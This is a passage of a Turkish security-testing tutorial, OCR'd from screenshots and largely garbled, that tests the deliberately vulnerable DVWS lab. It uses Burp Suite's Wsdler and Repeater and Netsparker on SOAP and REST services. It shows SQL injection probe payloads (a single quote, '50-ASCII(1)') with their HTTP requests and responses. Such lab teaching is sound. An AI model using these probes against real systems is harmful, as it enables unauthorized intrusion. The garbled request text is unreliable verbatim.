<soap:operation soapAction="hitp://192.168.0.37/dvwspul ) L= (L= )L _— - — O matehes

192168037

Hedef Web Servisi Arayiizii / Kapsami Dosyas1 Talep Paketi Oniinii Kesme

Burp ile yakaladigimiz wsdl dosyasina giden talep paketine sag tik yapalim ve Parse WSDL
secenegine tiklayalim.

Burp Suite Community E 36 - Temporary Project

Burp Intruder Repeater Window Help
Target | Froxy | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts | wadler

_[ Intereept | HITP history | webSockets history | options |

[#]) Request to http:f162.168.0.37:80

Forward Drop [ Intercept is on } Action Comment t

Raw | Params | Headers | Hex

GET /dvws/vulnerabilities/wsdlenum/service.phpiwsdl HTTP/1.1
Host: 192.168.0.37

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rvi91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1mage,/webp, */*;
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, defll  gond 1o Spider
Referer: http://192.168.0.3
Connection: close
Upgrade-Insecure-Requests: Send to Intruder ctrl+i
Cache-Control: max-age=0 Send to Repeater ctri+R
send to Sequencer

Send to Comparer

T

Do an active scan

Send to Decoder
Request in browser >

Engagement tools [Pro version only] >

Change request method

Change body encoding

Copy URL

Copy as curl command

Copy to file

Paste from file

Save item

Don't intercept requests >
Do intercept >

n >

Paste

Message editor help
Proxy interception help

g
v

B w 3 &J Type a search term ) ~ . 0 matches
WSDL Talep Paketinde Wsdler’in Calismasi ve Yanit Paketini Parse Etmesi
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Burp intruder Rspeater Windaw Help
Target [ i | Spider [ scanner | mtruder | Repeater | saquencer | Decoder | comparer | Extender | project options | user options | alerts | ]

atercept | HTTP history i WebSockets history | Options

|#] Request to hittp3/192.168.0.37:80

Forward [ Drop Intercept rs on Action
(mToamms | Headers | Hex |
GET /dvws/vulnerabi l1ties/wdlenun/service, php7wsdl HTTP/1.1
Host: 192.168.0.37 r
User- Agent: Mozilla/s.0 (X11; Linux x85_64; rv:51.0) Gecko/20100101 Firefox/91.0
Accept: text/htnl,application/ahtmlexnl, application/xml;q=0.9, inage /webp, */*:q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referar: http://192.168.0.37/dvws/vulnerabilitiss /wsdlenun;
Connection: close
Upgrade-Insecurs-Requests: 1|
Cache-control: max-age=0

>

.
v

0 matches

Hedef DVWS Web Servisin WSDL Dosyasini Parse Etmesi ve Eklenti Penceresine Bilgilerin
Gelmesi

Bu sekilde wsdler eklentisi yardimiyla hedef soap web servisin arayiiziinii / kapsamini elde ederiz.

Burp Intruder Repeater Window Help

[ Target [ Praxy | spider | Scanner [ intruder | Repeater | Sequencer | Decoder | comparer | Extender | Project options | User options | Alerts [wadlen |

=

Operation Binding Endpoint

DvWA Web Senice Binding

check_user_id oy % i ke
OWVWA Web Senace Binding hitpi192,188.0.37/dvwsvlnerabiltiesfwsdlenumservice.php

Populatron

Raquest

@] Pararms [esders [ s [ |

POST /dhvws/ vulnerabi Lita o.pnp HTTR/1.1 +
User-Agent: Mozilla/ss.o 4; rvi9l.o) Gacko/20100101 Fires r
connection: close
Lpgrade- Insecure- Requests: 1
Cache- Contral -a
SoaPAction: http: . 168.0,37/dwws/vulnerabilities /wsdlenun/service  php/Return_price
Content-Type: text/xal; B
vost: 192.188.0.37
Content-Length: 414
~<soapenw:Envelope xmlns:xsia®http: //wew.w3.0rg/2001/¥M Schema- instance” xalns:xsds®http:/ /waw.w3.0rg/2001/ MM Schema®
xmlns:soapenv="http: //schemas.xmlsoap. org/soap/envelope/">
<scapeny :Header />
<saapeny:Body>
<Raturn_price soapenv:encodi emas. xmlsoap. org/s0sp/encoding/ =
<name xsi :type="xsdistrin
</Return_price
</s0apenv:Bady>
</soapeny:Envelopex
B
0 matches

2] [=][+][=

Listelenen 3 adet 6rnek xml taleplerini repeater’a, intruder’a,... yollayarak giivenlik testleri
uygulanabilir. Ornegin Return_price xml talep paketini repeater’a gonderelim ve talep paketinin
govdesindeki xml node degerini kurcalayalim.
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Bup Itruder Repeater Windaw Help

Target | Proxy | Spider | Scanner | intruder | Repeaten | Sequencer | Decoder | Comparar | Extandar | Project options | User aptions | Alerts | wsder |

mmm A
_ BN Secdes| S

Target: hitp:(/192.168.0.37 | 4| [ 7

Request Response
Raw | Params | Headers | Hex [ | R | Headers [ Hex [ |
FOST /dvws, vulner abi L ties/wadlenum/service. php HTTP/1.1 T | WITP/1.1 200 oK T
User-Agent: MozillasS.0 (X113 Linux x88_64; rviSl.0) Gecko/20100101 [ Date: Sst, 14 Aug 2021 17:31:00 GMT r
Firefox/51.0 Server: Apache/2.4.23 (Win32) DpenSSL/1.0.2h PHP/S.5.38
copts X-Powsred-By: PHP/5.5.38
text/html, application/shtml+anl, application, xml;q=0.9, 1mage/webp, */+:q= X- SOAP-Sarver: MJS0AR/0.9.5 (1.123)
0.8 Content-Length: 545
t-Language: en-Us,en;q=0.5 connection: close
copt-Encoding: grip, deflate Content.Type: taxt/xmli charset=150.8650-1
Feferer: http://192,168,0.37/dvws vulnerabi Li ties fwsdlenun/
<taml version="1.0 encodi
sl SO4P- ENV: encodingStyle:
soaPAction:
://192.168.0.37/dvws fvulnerabi Liti es wsdlenum/service . php/Return_pr
: ap/encoding* =<S0AR-ENV:B
Content-Type: text/anljcharset=UTF-8 ceResponse
Host: 192.168.0,37 s0ap.arg/soap/envelop urn
Contant-Length: 414 Jrnm<fnsl:Raturn_pri 0</SOAP. EN
<soapenviEnvelope
xmlng:xsi w3, 0rg/2001 /XM Schema. instance®
0rg/2001/4M Schema®
hemas . xnlsoap. arg/soap/envelope/ >
<soapeny: Body>
<Rsturn_price
cosperTTEREIEREERL 1//5chemas. xmlsoap.org/soap encading/*>
<nam xsi g*Ar e
</Raturn g
</s0apeny:Ba
</saapeny:Envelopes
L .
v v
=== or 0 matches 2 =) = =) e : Omatches

Done 809 bytes | 38 miks

Burp intruder Repeater Window Help

[ Target [ proxy lSpldEr ] Scanner ]Immder ] Repeater ] Sequencer | Decader | Comparer ]Enlendzr Project options [ User options ]aJms ]ursder {

Colelo )

Target: http://192.168.0.37 | #| 7|

o .
G >
Request Response

Raw | Params | Headers | Hex | XML | Raw | Headers | Hex | XML
POST /dvws/vulnerab 11 ties wsdlenun/service.php HITR/1.1 T HTTP/1.1 200 OK i
User-Agent: Mozilla/s.0 (X11; Linux x86_64; rv:sl.0) Gecko /20100101 r : . 14 Aug 2021 17:31:24 GMT r
Firefor/91.0 Apache/z.4.23 (Win3z) CpenssL/1.0.2h PHR/S.5.38
Accept: : PP/5.5.38
text/html, application/xhtmlexml, application/xml; q=0.9,1mage /webp, */*; g= X-S0AP-Server: NISOAP/0.9.5 (1.123)

.8 Content-Length: 543
Accept-Language: en-Us,en;g=0.5 Connection: close

Accept-Encoding: gzip, deflate Content-Type: text/xml; charsst=1SO-gase-1
Refersr: http://162.168.0.37/dvus/vulnerabilities /wsdlenun/
<txml version='1.0* encoding=*50-8859- 1*1><S0AP-ENV:Envelops

Connectio se
Upgrade-Insscure-Requests: 1 SOAP-ENV:encodingStyle="http://schenas. xnlsoap.org/sosp/encoding/*
Cache- Control: max-sge=0 xmlns: SOAP- ENV="http: //schemas. xmlsoap .org/soap/envelope/*
SOAPAction: xmlns: 0rg/2001/XM_Schema*
http://192,168.0.37/dwws/vulnerabi li ties/wsdlenun/service. php/Return_pr xmlns:x 0rg/2001/XM_Schems- instance®

xmlns: mas. xml50ap .org/s0ap/encoding/ ><S0AP-ENV: B

Content-Type:
Host: 192.16
Content-Langth:

text/xml;charset=UTF. 8
7

soap/anvelope/* »<raturn
:Return_priceResponses</S04P-EN

10

| <soapeny:Envelope

4/2001/XM_Schema- instance®
] /v w3, 079/ 2001 /XM_Schema"
http://schemas. xmlsoap.arg/soap/envelope/">
<soapenv:Header />
<soapenv:Eody>
<Feturn_price
soapenTTERCaE G
<name xs
</Return_price>
</snapeny:Body>
</soapenv:Envelopas]

e="http: //schemas. xmlsoap.org/soap/encoding/ ">
pe="xsdistring®i0S</name>

v

Iz < + 2| |Type a search ter 0 matches 7| =< | (W= [Tvpe & search term 0 matches

809 bytes | 30 millis

(Not: Return_Price arguman degerleri dvws ilgili sayfasinin sundugu ekrandaki radio button’larin
name attribute’unlarindan elde edilmistir).

Bu sekilde testler uygulanarak gelen yanitlar izlenebilir ve agiklik aranabilir.
Bilgi:
Burpsuite wsdler eklentisi SoapUI yazilimi ihtiyacini kaldirmak ic¢in ve SoapUI yazilimi

olmadan Burspuite’te soap web servisleri arayiiziinii / kapsamini yiikleyebilmek ve
giivenlik testleri uygulayabilmek i¢in gelistirilmis bir eklentidir.
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5.3.2.2 Burpsuite ile REST Web Servis Testi

Bu uygulamada burpsuite ile kasith zafiyetler iceren dvws web servisinin bir ders sayfasindaki ug
noktada yer alan rest web servisi test edilecektir.

Kullanilan Materyaller
Ubuntu 18.04 LTS /I Fiziksel Makina
Burpsuite // Glivenlik Testi Aract
DVWS - Windows 10 Home Premium Il Zafiyetli Web Servisi VM

Not: Kasitli zafiyetler iceren DVWS web servisi eski kaldigindan sadece eski php
versiyon 5.5.38’de uygulamalari diizglin ¢aligir durumdadir.

Not 2: Ubuntu 18.04 LTS’ye Burpsuite kurulumu igin bkz. Burpsuite’i Linux (Ubuntu
18.04 LTS) Sisteme Kurma

Not 3: DVWS kasith zafiyetler igeren web uygulamasinin Windows 10 Home Premium’a
kurulumu i¢in bkz. EK > DVWS Web API’'yi Windows’a (Windows 10 Home Premium
Siirimiine) Kurma.

Uyar1: Demoda kullanilacak DVWS web servisinin sql enjeksiyonu agikligina sahip rest
api endpoint’inde (u¢ noktasinda) bug (hata) mevcuttur. Hata “No Database Selected”
seklinde ekrana gelmektedir. Hatanin (bug’in) kaynak kodda diizenlemeler yaparak
giderilmesi i¢in bkz. DVWS SOQLi Aciklikli Rest API U¢ Noktasindaki Hatanin (Bug’in)
Giderilmesi.

Oncelikle dvws web servisindeki ilgili sayfaya bir géz atalim.

More Information

DVWS Web Servisindeki REST Web Servisi Kismi

Bir URL verilmis. Bu rest web servise ait URL ile URL’deki parametreye verilen degere gore
arkada veritabanindan g¢ekilen veri json formatinda getirilmektedir.
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{first_name":"Gordon","last_name":"Brown"}

<

s 0B D

(ORI 3 ]

REST Web Servis URL Parametresi 2 iken Gelen Veri

Rest Web Servis URL Parametresi 3 iken Gelen Veri

DVWS’nin bu ders sayfasi ekraninda rest web servise ait url’deki 2 parametresinde sql enjeksiyonu
aciklig1 sunulmaktadir.

Simdi Burpsuite ile bu rest web servisi test edelim ve sql enjeksiyonu agikligini tespit edelim.

« X @

{“first_name":"Gordon","last_name":"Brown"}

Comparer [ Bxtander |

Burp, wrucac Repestas we
Tacget = ruder | Rapenter | Sequencer | Dwc

e CQ m:

P B D

I=®o &N

Rest Web Servis Endpoint URL’si Http Talep Paketi Yakalanir
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Burp Suite Community Edition v1.7.36 - Temporary Project

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Praject options | User options | Alerts | wsdler
Q Y P! P L P; | Dl !

Go Cancel < v >|v Target: http://192.168.0.37 @@
Request Response

Raw | Headers | Hex Raw | Headers | Hex

GET /dvws/vulnerabilities/sqli/api.php/users/2 HITP/1.1 A | HTTP/1.1 200 OK N

Host: 192.168.0.37 I Date: Sat, 14 Aug 2021 17:44:53 GMT r

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecke/20100101 Server: Apache/2.4.23 (Win32) OpenssL/1.0.2h PHP/S.5.38

Firefox/91.0 X-Powered-By: PHP/5.5.38

Accept: Content-Length: 44

text/html, application/xhtml+xml, application/xml; q=0.8, image/webp, */¥; q= Connection: close

0.8 Content-Type: text/html

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close {*first_name":"Gordon","last_name':"Brown"}

Referer: http://192.168.0.37/dvws/vulnerabilities/sqli/

Upgrade-Insecure-Requests: 1
b L
v v

2 < + || = “ ‘ 0 matches ? < + > | |Type a search term 0 matches

Done 247 bytes | 12 millis

Rest Web Servis Endpoint URL’si Http Talep Paketi Repeater’a Atilir
2 parametresindeki degere gore json yanit gelmektedir. 2 parametresine bir sql keyword ifadesi
girelim ve girilen sql ifadesi ¢aligtyor mu test edelim.

Girilen Zararli (Payload): '

Burp Sul

Community Ed ‘emporary Project

Burp Intruder Repeater Window Help

Target | Prowy | spider | scanner | intruder | Repeater | Sequencer | Decoder | comparer | Extender | Project options | User aptions | Alerts | Wsdler

Go > Target: http://192.168.71.12 Ej @
Request Response
Raw | Headers | Hex Raw | Headers | Hex
GET /dvws/vulnerabilities,/sqli/api.php/users/'| HTTR/1.1 a HTTP/1.1 200 OK a
Host: 152.168.71.12 - [ Date: Sat, 14 Aug 2021 20:55:21 GMI r
User-Agent: Mozilla/5.0 (X11; Linux x85_6: v:91.0) Gecko/20100101 Server: Apache/2.4.23 (Win32) OpensSL/1.0.2h PHP/5.5.38
Firefox/91.0 X-Powered-By: PHP/S.5.38
Accept: Cantent-Length: 150
text/html, applicationxhtml+xml, applicatfibn/xml; q=0.9,image webp, */+;q= Connection: close
0.8 Content-Type: text/html
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close You have an error in your SOL syntax; check the manual that
Upgrade-Insecure- Requests: 1 corresponds to your MariaDB server version for the right syntax to
use near ''' at line 1
. .
v v
2 <[+ ]|[=]]|w 0 matches 2 )< |[+][=] |ryee s search term 0 matches
Done

354 bytes | 12 millis
*

Girilen Zararli (Payload): 1
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Burp Suite Community Edition v1.7.36 - Temporary Project )

Burp Intruder Repeater Windew Help
[Targel I Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer I Extender T Project options T User options TA\ens TWid\er }

Target: http://192.168.0.37 Ej @

Request Response

Raw | Headers | Hex Raw | Headers | Hex

GET /dvws/vulnerabilities/sqli/api.php/users/1] HTTP/1.1 a HTTP/1.1 200 OK a
Host: 192.168.0.37 [ Date: Sat, 14 Aug 2021 17:53:44 GMT r
User-Agent: Mozilla/5.0 (X11; Linux xg rvigl.0) Gecko/20100101 Server: Apache/2.4.22 (Win32) OpenssL/1.0.2h PHP/5.5.38
Firefox/o1.0 X-Powered-By: PHP/S.5.38
Accept: Content-Length: 43
text/html, application/xhtml+xml, app /xml;q=0.9,image /webp, */*;q= Connection: close
0.8 Content-Type: textshtml
Accept-Language: en-US,en;g=0.5,
Accept-Encoding: gzip, deflat;
Connection: close {"first_name":"Darth”, last_name":"Vader"}
Referer: http://192.168.04 /dvws/vulnerabilities/sqlis
Upgrade-Insecure-Requesjft 1
b k
v v
? < + > | |Type a search term 0 matches ? < + > | |Type a search term 0 matches
Done 246 bytes | 14 millis

Girilen Zararli (Payload): 50 - ASCII(1)

v1.7.36 - Temporary Project

Burp Suite Community Edi

Burp Intruder Repeater Window Help

Target | roxy | Spider | Scanner | intruder [ Repeater | Sequencer | Decoder | Comparer | extender | Project options | User options | Alerts | wsdler

1x[2x[3x][dx][5x

Go Cancel | ([ <Iv] | >
Request

Raw | Headers | Hex Raw | Headers | Hex

Target: http://192.168.0.37 EJ EJ

Response

GET /dvws/vulnerabilities/sqli/api.php/users/50-ASCII(1) HTTP/1.1 . HTTP/1.1 200 OK .
|Host: 182.168.0.37 — [ Date: sat, 14 Aug 2021 17:56:25 GMT r
User-Agent: Mozilla/5.0 (X11; Linux x86_6. :91.0) Gecko,/20100101 Server: Apache/2.4.23 (Win32) OpenssL/1.0.zh PHP/S.5.38
Firefox/91.0 X-Powered-By: PHP/S.S5.38
Accept: Content-Length: 43
text/html, application/xhtmlsxml, applicagon/xml ; g=0.9, image /webp, */%; q= Connection: close
8 Content-Type: text/html
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Connection: close {*first_name":"Darth","last_name": “Vader}
Referer: http://192.168.0.37/dvwefflulnerabilities/sqli/
Upgrade-Insecure-Requests: 1
b b
v v
2 < + = | |Type ase rm 0 matches ? < + > | |Type a search term 0 matches
Done 246 bytes | 14 millis

[k payload’da tirnak karakteri sql hatas1 déndiirmiistiir. Demek ki tirnak karakteri sql ifadesi olarak
islenmistir ve fazla tirnak ile sql hatasina sebep olmustur. Ikinci payload’da 1 ifadesi girilmistir ve
karsilik olarak 1 kaydi donmiistiir. Ugiincii payload’da ise ASCII(1) sql ifadesi girilmistir. Bu sql
ifadesi degeri 49’a esittir. 50-ASCII(1) ile 50°den 49 ¢ikarildiginda 1 kalacaktir ve 1 kaydi yine
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yanit olarak donecektir. 1 payload’u ile 50-ASCII(1) payload’u ayni ¢iktiyr verdiginden ASCII()
sql ifadesi olarak ¢alismigtir. Demek Ki sql enjeksiyonu agikligi var. Bu tespit sonrasi sql ifadeleri
uygun sekilde girilerek sql enjeksiyonu gerceklestirilebilir.

Bu sekilde Burpsuite ile rest web servisi giivenlik testleri uygulanabilir.

5.3.3 Netsparker Yazilimi

5.3.3.1 Netsparker ile SOAP Web Servis Testi
Bu uygulamada Netsparker yazilimi ile kasitli zafiyetler iceren dvws web servisinin bir ders
sayfasindaki u¢ noktada yer alan hedef soap web servisi test edilecektir.

Kullanilan Materyaller
Ubuntu 18.04 LTS /I Fiziksel Makina
Netsparker // Glvenlik Testi Aract VM
DVWS - Windows 10 Home Premium /I Zafiyetli Web Servisi VM

Not: Kasitli zafiyetler iceren DVWS web servisi eski kaldigindan sadece eski php
versiyon 5.5.38’de uygulamalar1 diizgiin ¢alisir durumdadir.

Not 2: DVWS kasith zafiyetler igeren web uygulamasinin Windows 10 Home Premium’a
kurulumu i¢in bkz. EK > DVWS Web API'yi Windows’a (Windows 10 Home Premium
Siirimiine) Kurma.

Netsparker ile soap web servis tarayabilmek igin soap web servislerde arayiiz / kapsam sunan
WSDL dosyasimni Netsparker tarama ayarlarindan Import Links segenegi ile yiiklemek
gerekmektedir. Bu sekilde Netsparker otomatize tarama araci soap web servisin arayiiziinii /
kapsamini gorebilecektir ve saldiri testlerini uygulayabilecektir.

Oncelikle hedef dvws soap web servisinin WSDL dosyasini elde edelim.
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Actlvities  *» Firefox Web Browse

localhost./dvws/vulnerabili: x [

O 8 localhost

3 J| This XML file does not appear to have any style i with it. The tree is shown below.
- T,
—<types>
target *dywa:webservice
t “http://schemas.xmlsoap. P ding/"/>
“htty xmlsoap.org/wsdl/"/>

port
</xsd:schema>
</types>
—<message nam
<part name=
2 </message>
~<message nam
h/ <part name=
</message>
—<message nam
<part name=
</message>
—<mess
<part name=
</message>

“Return_priceRequest">
ame" type="xsd:string"/>

Return_priceResponse”>
eturn” type="xsd:float"/>

check user idRequest">
sername” type="xsd:string"/>

age name="check user idResponse">
eturn” type="xsd:string"/>

e="Pop >
<part name="value_one" type="xsd:string"/>

</message>
- nam

<part name=
</message>

P >
eturn” type="xsd:integer"/>

—<portType name="DVWA Web Service PortType">

<input

“tns:Return_pr 1>

<output
</operation>

“tns:Return_pr P />

—<operation name="check user id">

<input message:

ns:check user idRequest’/>
>

<output
</operation>
—<operation name:
<input messag
<output message
</operation>
</portType>

—<binding name="DVWA Web

<soap:binding styl
—<operation name='

B

L

©

(@) —<operation name="Return_price">
%

=]

®

tns:check_user |

pulation">

ms:PopulationRequest”/>

s:PopulationResponse"/>

Service Binding" type="tns:DVWA Web Service PortType">
pc" transport="http://schemas.xmlsoap.org/soap/http"/>
eturn_price">

—<input>

ion="http://

abilities rvice.php/Return_price" style="rpc"/>

WSDL dosyasini kaydedelim: service.xml. Ardindan Netsparker’da yeni tarama baslat penceresini
acalim hedef web servis url’sini girelim.

Start a New Website or Web Service Scan

Target Website or Web Service URL

hittp://192.168.0.15/ dvws/

| °Optinns
Scan Settings
A~ General
) Scope
% Additional Websites
&4 Imported Links
@ URL Rewrite
E Pre-Request Script

', Shark (IAST)

Authentication

[E Form

# Basic, NTLM/Kerberos
_'=_ Header

Client Certificate

@8 Smart Card

© oauth2

| < Manual

- ’_ @PreviuusSEﬂings -

Scan Policy

efault Security Checks

‘Custom Cookies

Hedef Soap Web

Crawling Servis
+ |Find & Follow New Links

Crawl & Attack at the Same Time

v | Pause Scan After Crawling

Incremental Scan

Crawl and Wait

Daha sonra hedef soap web servisin arayiiziinii / kapsamini yiikleyelim.
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Start a New Website or Web Service Scan

Target Website or Web Service URL

http://192.168.0.15/dvws/

|
°Optlons
Scan Settings

- 1| (€ Previous Settings | -

XV_HsLjFF-z-JUge

Imported Links
Gi ]
& O Add S it
© Scope

Method  URL

{ @ Additional Websites

&R Imported Links
@ URL Rewrite

&l Pre-Request Script

Uy, Shark (IAST)
Authentication

8 Form

P Basic, NTLM/Kerberos

Header

Client Certificate
| @B Smert Card

& onuthz

< Manual

@ 5can zceulmmmmg_inm

Delete [ Clear Q Search | Import From File = Enter Links

.

ASP.NET Project File

Burp

Comma Separated Values (CSV)
Fiddler

HTTP Archive

1/0 Docs

Netsparker Session File
OWASP ZAP

Postman

RAML

OpenAP! (formerly Swagger)

& Web Application Description Language (WADL)

Web Service Definition Language (WSDL)

W

WordPress REST AP|

Crawland Wait | +|| Cancel Overall Activity
Import Links o
4 s ThisPC » Local Disk(C) » Users > admin » Desktop » v ® | O SearchDesktop
Organize » New folder m @
Name Date madified Type Size
# Quick access
472072021 315 PM File folder
[ Desktop -
SRR — 472172021 411 PM Fil folder
¥ Dounioads senvice /9/2021 2:22 PM XML Document 1K8
Documents 4 = ™ XML Document 6 KB
[&=] Pictures A5 s XML Document 4KB
SR —
-
.
@ OneDrive
[ This PC
¥ Network
P——
File name: [ service ~| | WsDL Files -
O o= | o

Sayfa 49 /167



Start a New Website or Web Service Scan

Target Website or Web Service URL
hittp://192.168.0.15/ dvws/ = (a1 |®) Previous Settings | ~

| °Opt|uns

Scan Settings

Imported Links
G I
"' enera 0Add K * Edit 3 Delete Iﬁclear QSearch Import From File = Enter Links
{3 Scope
@ Additional Websites Method | URL
https//192.168.0.15/dvws/vulnerabilities/wsdlenum/service.php

Imported Links (3
& POST

dlenum/service.php
t:;' URL Rewrite POST

dlenum/service.php
—

%= Pre-Request Script
Yy, Shark 14ST) \
Authentication o

[E Form

# Basic, NTLM/Kerberos

Header
Client Certificate

Smart Card @3 link(s) successfully imported. o u

@ onuth2
| % Manual @ Scan scope rules will be applied to imported links during the scan.

Crawl and Wait - Cancel

Arayliz / Kapsam dosyasi yiikklemesi sonras1 hedef dvws soap web sevise ait 3 adet link eklenir. Bu
linkler hedef dvws soap web servisinin kabul ettigi xml talep paketleri seklinde listelenecektir.

o x
Target Website or Web Service URL

ttp://192.168.0.15/dws/
@ Options Builder | Raw | HexView

e Imported Links POST  -|[HTP -] 192768015 80 || /dvws/vulnerabilities/wsdlenum/service php

# General @add Aede ¥ | Enabled  Type Name Value Encoded
&) Gz

Method | URL Headers
& Additional Websites B,
) POST bl V| Header <+ Host 192.168.0.15 v

(2 Imported Links (3) bosT P Header - SOAPAction | "httpi//192.168.0.15/dvws/vulnerabilities/wsdlenum/service.php/Return_price”

@ URL Rewrite POST iy = N =

&) Pre-Request Script N

Y, Shark (1AST) Packet
Header 3
Authentication o

B Form
T <soapBody sospiencodingStyle="hitp//schemssmisosp.org/soap/encoding™> A
- . <Return_price> R

=name naypes "xsdistring"> NS _</name>

ieader

) ) Return_price> Packet
Client Certificate JeospEodys Body
</soapiEnvelope> S
Smart Card I
@ oaunz /| Enable Raw Request Body
© Manual @ Scan scope rul
Save Cancel
Crawland Wait | - || Cancel Overall Activity Status

Eklenen Birinci Ornek XML Talep Paketi
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Target Website or Web Service URL

hittp//192.168.0.15/cvws/ | [ Buitter [DRawB Vi
@ ogptions = |[post <[ -] 192168015 80 : || sevwsivulnerabilities/wsdlenum/service.php

Scan Sett

e Imported L] || Enabled | Type Name = Value Encoded
4~ General Qi AE

s

© Scope — | v Hesder - | Host 192.168.0.15 v
W% Additional Websites P v Header - SOAPAction | http://192.168.0.15/chvws/vulnerabilities/wsdlenum/service. php/check_user |

it
Imported Links (3 0 -

&« POST i

@ URL Rewrite osT | hi

o

% Pre-Request Script

= Packet

", Shark (IAST)

Header

Authentication

E Fom <soap:Body soap:encodingStyle="http://schemas xmisoap.org/soap/encoding/" > - .
L <check_user_id> \:\
P Basic, NTLM/Kerber TUsermame ST e "xsdistring”>_NS_</usemame>
. e 0> Packet
= Header </Toap:Body> B
o ody
Client Certificat </eoapiEnuelope> v
@8 SmartCa /| Enable Raw Request Body
© Osuthz
Save Cancel
& Manual
(2] 7
Crawland Wait |- || Cancel Overall Activity S

Target Website or Web Service URL

hitp://192.168.0.15/dvws/ Builder | Raw | HexView

Qoptions | |[post  -|[Hr -][1927168015 80 | [ /dvws/vulnerabilities/wsdlenum/service php

Scan Settings ~ || Enabled | Type Name Value Encoded

Imported Links

#~ General ©nid A | M Headers

O scope | v|  Header - Host 192.168.0.15 v

@ Additional Websites Method | URL v Header - SOAPAction | "hitpy/192.168.0.15/dvwss s Jservice php/Population” 7

POST | hitpi/f1) . - A

Imported Links (3
& POST | hitp:/f1
@ URL Rewrite BOST | hitp//1l

& Pre-Request Script

Packet
', Shark (AST) Header

Authentication

<soapiBody soapenc * http://schemas.xmisoap.org/soap/encoding/"> ~ X

B Fom <Population> =
i “velue_one Hitype= "wsdistring "> _NS_</value_one>
P Basic, NTLM/Kerberos Toopuitions Packet
= Vet e
Header “/soapBady Body

</soapiEnvelope> =
Chent[emﬁo
@ Smart Card /] Enable Raw Request Body |
© ouutnz Save Cancel
% Manual Scan scope rul

Crawl'and Wart |~ [jj ~ Cancel Overall Activity Status

Eklenen Ugiincii Ornek XML Talep Paketi

Gorildiigii gibi 6rnek xml paketleri eklenmistir. Simdi bu arayiiz / kapsam belirlemesi sonrasi
Netsparker taramasina baglanabilir.
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Start a New Website or Web Service Scan (] x

Target Website or Web Service URL

http://192.168.0.15/dvws/ ~ [al| |(© Previous Settings | - || xV_HsL:
| @ options

Scan Settings

Imported Links

#~ General

) Scope

& Additional Websites
| &2 Imported Links (3]

€ Add * Edit 3 Delete [ Clear Q Search | Import From File > Enter Links

Method | URL
POST | hittp://192.168.0.15/chows/vulnerabilities

POST | http://192.168.0
@ URL Rewrite POST | http://192.168.0.15/chon

g Pre-Request Script

fwsdlenum/service.php

vulnerabilities/wsdlenurm/service.php

culnerabilities/wsdlenum/service.php

Shark (IAST)

UQIfHge
Authentication

ig Form

#° Basic, NTLM/Kerberos

= Header

Client Certificate
Smart Card B716aat

9 onuth2

¢ Manual @ Scan scope rules will be applied to imported links during the scan.

Cancel

Start Scan
//‘ Crawl and Wait
Manual Crawl (Proxy Mode)

Scan Imperted Links Only (2 Imported)

Overa

Schedule Scan

Tarama basladiginda eklenen arayiiz / kapsam (ve ilaveten ek crawling sonucu gelen arayiiz /
kapsam) sol siitunda siralanir.

Not:

DVWS soap web servisi tikketen uygulama web-based bir php uygulamasi oldugundan ek
crawling olacaktir ve bunun sonucunda bir¢ok arayiiz / kapsam ilave edilecektir.

Tarama basladiginda soap web servis arayiiziinliin / kapsaminin siralanigi ve hedef soap web
servisin tespit edildigine dair bilgilendirme mesaj1 goriilebilir.
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Shtema tings . ] HFTP Request / Respome (3 [
Soap Web o
N s Servis o y
am Aray(z( *
% hiddende Tarama W
Kapsaminda |,
lation
etun_pri

Soap Web Servisi
Tespit Edildi
Bilgisi

Netsparker sol siitununda soap web servis arayiiziiniin / kapsaminin listelendigi kisimda yer
alan name, username, ve value one wsdl arayiizli ile olusan xml talep paketlerinin
govdelerindeki xml node’laridir (yani olugan xml talep paketlerinin govde
parametreleridir). Import Links segeneginde listelenen olusmus xml taleplerini gosteren
onceki resimlerde bu durum goriilebilir.

Bu sekilde netsparker ile hedef soap web servisler taranabilmektedir ve bulunan bulgulara gore
hedef soap web servise dair agikliklar elde edilebilmektedir.

Netsparker’in yukaridaki resminde sol taraftaki agiklik siitununda ek crawling sonucu gelen web-
based (web tabanli) uygulamanin agikliklari listelenmektedir. Ayni sekilde hedef soap web servise
dair acikliklar da bu sekilde gelecektir. Fakat mevcut soap web servisinin wsdl dosyasinin sundugu
arayiiz / kapsam oldukca smirli oldugundan (yani kiigiik oldugundan), sadece DVWS soap web
servisinin WSDL enumeration sayfasi iglevlerini kapsadigindan, ve wsdl enumeration sayfasinda
sunulan / dgretilmeye calisilan aciklik tiiriiniin sadece elde edilen wsdl dosyasi yoluyla sayfanin
sundugu talep disinda hedef soap servisin isleyebilecegi baska gizli talepler bulun oldugundan
(yani bilgi ifsas1 oldugundan) netsparker’da web servise Ozgii bir agiklik bulgusu tespit
edilmemistir.

5.3.3.2 Netsparker ile REST Web Servis Testi
Bu uygulamada netsparker yazilimi ile kasith zafiyetler iceren dvws web servisinin bir ders
sayfasindaki arka ucta yer alan hedef rest web servisi test edilecektir.

Kullanilan Materyaller

Ubuntu 18.04 LTS /I Fiziksel Makina
Netsparker // Guvenlik Testi Aract VM
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DVWS - Windows 10 Home Premium /I Zafiyetli Web Servisi VM

Not: Kasitli zafiyetler iceren DVWS web servisi eski kaldigindan sadece eski php
versiyon 5.5.38’de uygulamalar1 diizgiin ¢alisir durumdadir.

Not 2: DVWS kasith zafiyetler i¢ceren web uygulamasinin Windows 10 Home Premium’a
kurulumu i¢in bkz. EK > DVWS Web API’yi Windows’a (Windows 10 Home Premium
Stirtimiine) Kurma.

Uyart: Demoda kullanilacak DVWS web servisinin sql enjeksiyonu agikligina sahip rest
api endpoint’inde (u¢ noktasinda) bug (hata) mevcuttur. Hata “No Database Selected”
seklinde ekrana gelmektedir. Hatanin (bug’in) kaynak kodda diizenlemeler yaparak
